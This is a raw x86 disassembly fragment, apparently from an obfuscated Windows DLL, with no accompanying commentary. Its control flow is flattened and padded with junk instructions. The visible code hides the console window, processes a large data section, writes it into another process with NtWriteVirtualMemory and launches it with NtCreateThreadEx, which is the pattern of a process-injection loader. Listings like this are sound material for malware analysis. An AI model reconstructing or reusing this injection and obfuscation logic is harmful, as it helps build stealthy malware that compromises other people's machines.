add ecx, eax
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov dword [ebp - 0x1a8], 0xf0c6e91f
jmp 0x1000e642
mov dword [ebp - 0x1a8], 0x2c14f918
jmp 0x1000e642
mov ecx, dword [0x10069288]
mov eax, dword [0x10069284]
mov edx, ecx
add edx, 0xed263e6
sub edx, 1
sub edx, 0xed263e6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3c50cb00
mov ecx, 0x4ad2fed8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000e642
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001210
add esp, 4
lea eax, [0x1001a1d1]
sub esp, 4
mov dword [esp], eax
call fcn.10001210
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x48000
call fcn.10001010
add esp, 8
lea eax, section..data
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x18c], eax
mov dword [ebp - 0x1a8], 0xffdd6932
jmp 0x1000e642
mov dword [ebp - 0x1a8], 0x4e22da09
jmp 0x1000e642
mov eax, dword [ebp - 0x190]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x188]
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x1a8], 0x7820f8da
jmp 0x1000e642
mov eax, dword [ebp - 0x180]
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x1a8], 0x5b824388
jmp 0x1000e642
mov dword [ebp - 0x1a8], 0xaf326741
jmp 0x1000e642
mov ecx, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd4]
add ecx, eax
mov eax, dword [ebp - 0x174]
mov eax, dword [eax]
mov edx, dword [ebp - 0x180]
mov edx, dword [edx]
mov esi, dword [ebp - 0x170]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
sub eax, 0x66923c08
sub eax, edx
add eax, 0x66923c08
add ecx, eax
mov eax, dword [ebp - 0x178]
mov dword [eax], ecx
mov dword [ebp - 0x1a8], 0xffc1aa7f
jmp 0x1000e642
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x1a8], 0xbb35729
jmp 0x1000e642
mov dword [ebp - 0x1a8], 0x62829364
jmp 0x1000e642
mov dword [ebp - 0x1a8], 0x2b2f71a5
jmp 0x1000e642
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x1a8], 0x3b2e79b8
jmp 0x1000e642
mov dword [ebp - 0x1a8], 0xd200fe48
jmp 0x1000e642
mov eax, dword [ebp - 0x178]
mov eax, dword [ebp - 0x168]
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x1a8], 0x95d3136f
jmp 0x1000e642
mov eax, dword [ebp - 0x7c]
mov edx, dword [eax + 0x1c]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x80]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0x148]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
add ecx, 0xe8408564
add ecx, eax
sub ecx, 0xe8408564
mov eax, dword [ebp - 0x144]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x140]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax]
add ecx, 4
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov dword [ebp - 0x1a8], 0x268f4c78
jmp 0x1000e642
jmp 0x10006b30